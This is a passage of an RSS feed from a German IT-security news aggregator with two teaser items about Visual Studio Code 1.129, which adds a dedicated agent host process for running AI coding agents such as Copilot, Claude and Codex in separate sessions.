<title><![CDATA[VS Code agent host runs Copilot, Claude, and Codex in a dedicated process]]></title>
<description><![CDATA[Developers who lean on AI coding agents often keep several editor windows open at once, each tied to its own session. The 1.129 release of Visual Studio Code reworks that setup with a dedicated agent host. A dedicated process for…
Read more →
The post VS Code agent host runs Copilot, Claude, and ...]]></description>
<link>https://tsecurity.de/de/3672757/it-security-nachrichten/vs-code-agent-host-runs-copilot-claude-and-codex-in-a-dedicated-process/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672757/it-security-nachrichten/vs-code-agent-host-runs-copilot-claude-and-codex-in-a-dedicated-process/</guid>
<pubDate>Thu, 16 Jul 2026 10:08:10 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Developers who lean on AI coding agents often keep several editor windows open at once, each tied to its own session. The 1.129 release of Visual Studio Code reworks that setup with a dedicated agent host. A dedicated process for…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/vs-code-agent-host-runs-copilot-claude-and-codex-in-a-dedicated-process/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/vs-code-agent-host-runs-copilot-claude-and-codex-in-a-dedicated-process/">VS Code agent host runs Copilot, Claude, and Codex in a dedicated process</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[VS Code agent host runs Copilot, Claude, and Codex in a dedicated process]]></title>
<description><![CDATA[Developers who lean on AI coding agents often keep several editor windows open at once, each tied to its own session. The 1.129 release of Visual Studio Code reworks that setup with a dedicated agent host. A dedicated process for agent sessions The agent host is a separate process that runs agent...]]></description>
<link>https://tsecurity.de/de/3672720/it-security-nachrichten/vs-code-agent-host-runs-copilot-claude-and-codex-in-a-dedicated-process/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672720/it-security-nachrichten/vs-code-agent-host-runs-copilot-claude-and-codex-in-a-dedicated-process/</guid>
<pubDate>Thu, 16 Jul 2026 09:53:56 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Developers who lean on AI coding agents often keep several editor windows open at once, each tied to its own session. The 1.129 release of Visual Studio Code reworks that setup with a dedicated agent host. A dedicated process for agent sessions The agent host is a separate process that runs agent harnesses such as Copilot, Claude, and Codex, built on the Agent Host Protocol. Because a session lives in its own process, one session … <a href="https://www.helpnetsecurity.com/2026/07/16/vs-visual-studio-code-agent-host/" rel="nofollow">More <span class="meta-nav">→</span></a></p>
<p>The post <a href="https://www.helpnetsecurity.com/2026/07/16/vs-visual-studio-code-agent-host/">VS Code agent host runs Copilot, Claude, and Codex in a dedicated process</a> appeared first on <a href="https://www.helpnetsecurity.com/">Help Net Security</a>.</p>]]></content:encoded>
</item>
</channel>
</rss>
<!-- Generated in 1,11ms -->